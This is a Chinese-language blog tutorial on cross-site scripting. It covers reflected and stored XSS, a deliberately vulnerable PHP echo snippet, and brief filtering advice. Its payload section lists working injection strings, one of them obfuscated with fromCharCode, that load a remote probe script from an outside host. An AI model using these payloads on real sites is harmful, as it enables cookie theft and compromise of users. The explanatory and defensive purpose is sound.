XSS漏洞分析

技術小阿哥發表於2017-11-27
  • 什麼是XSS


    • 跨站指令碼攻擊(Cross Site Scripting),為不和層疊樣式表(Cascading Style Sheets,CSS)的縮寫混淆,故將跨站指令碼攻擊縮寫為XSS。惡意攻擊者往web頁面裡插入而已html程式碼,當瀏覽該頁之時,嵌入其中web裡面的html程式碼會被執行,從而達到而已攻擊使用者的特殊目的。

  • XSS可以幹什麼


    • 盜取管理員Cookie或使用者Cookie

    • XSS Worm

    • 掛馬(水坑攻擊)

    • 有侷限性的鍵盤記錄

  • XSS分類


    • 放射性XSS

    • 儲存型XSS

    • DOM XSS

    • flash XSS

    • mXSS

  • 反射(非持久)型XSS


    • 發出請求時,XSS程式碼出現在URL中,最後輸入提交到伺服器,伺服器解析後響應在響應內容中出現這段XSS程式碼,最後瀏覽器解析執行

    • 這個過程就像一次反射,所以命名為反射性XSS

1
2
3
4
5
6
xss.php
<?php
     echo $_GET[`x`]
?>
#提交
/xss.php?x=<script>alert(1)</script>
  • 服務端解析式,echo就會完整的輸出<script>alert(1)</script>到響應體中,然後瀏覽器解析執行觸發彈窗

  • 儲存(持久)型XSS


    • 儲存型XSS和反射型XSS的差別僅在於:提交的XSS程式碼會儲存在伺服器(不管是資料庫/記憶體/檔案系統等),下次請求目標頁面是不用在提交XSS程式碼。

    • 最典型的例子就是留言板XSS,使用者提交一條包含XSS程式碼的留言儲存到資料庫中,目標使用者檢視留言板是,那些留言內容會從資料庫查村出來並顯示,瀏覽器發現有XSS程式碼,就當作正常的HTML和JS解析執行,於是觸發了XSS攻擊

    • 儲存性XSS的攻擊是最隱蔽的

1
#eg:http://www.nfpeople.com/user.php?id=21839
  • XSS是如何利用的

    • payload(有效的攻擊程式碼)

1
2
3
4
5
6
7
8
9
10
11
<script src=`http://b.ioio.pub/xss/probe.js`></script>
 
<img src=x onerror="s=createElement(`script`);body.appendChild(s);s.src=`http://b.ioio.pub/xss/probe.js`";>
 
<svg onload=s=createElement(`script`);body.appendChild(s);s.src=`http://b.ioio.pub/xss/probe.js>
 
<svg onload=eval(String.fromCharCode(115,61,99,114,101,97,116,101,69,108,101,109,
101,110,116,40,39,115,99,114,105,112,116,39,41,59,98,111,100,121,46,9
7,112,112,101,110,100,67,104,105,108,100,40,115,41,59,115,46,115,114,
99,61,39,104,116,116,112,58,47,47,98,46,105,111,105,111,46,112,117,98,
47,120,115,115,47,112,114,111,98,101,46,106,115)) >
  • 修復

    • 對XSS的防禦需要根據實際情況對使用者的輸入進行嚴格的過濾。基於過濾的XSS防禦方式通常可分為兩種:基於黑名單的過濾和基於白名單的過濾。後者的防禦效果往往更好,對於使用者在白名單之外的輸入,可以直接忽略。在構造白名單的過程中需要保證在不影響使用者體驗的同時,儘可能杜絕一切不必要的輸入內容。



本文轉自 nw01f 51CTO部落格,原文連結:http://blog.51cto.com/dearch/1826827,如需轉載請自行聯絡原作者


相關文章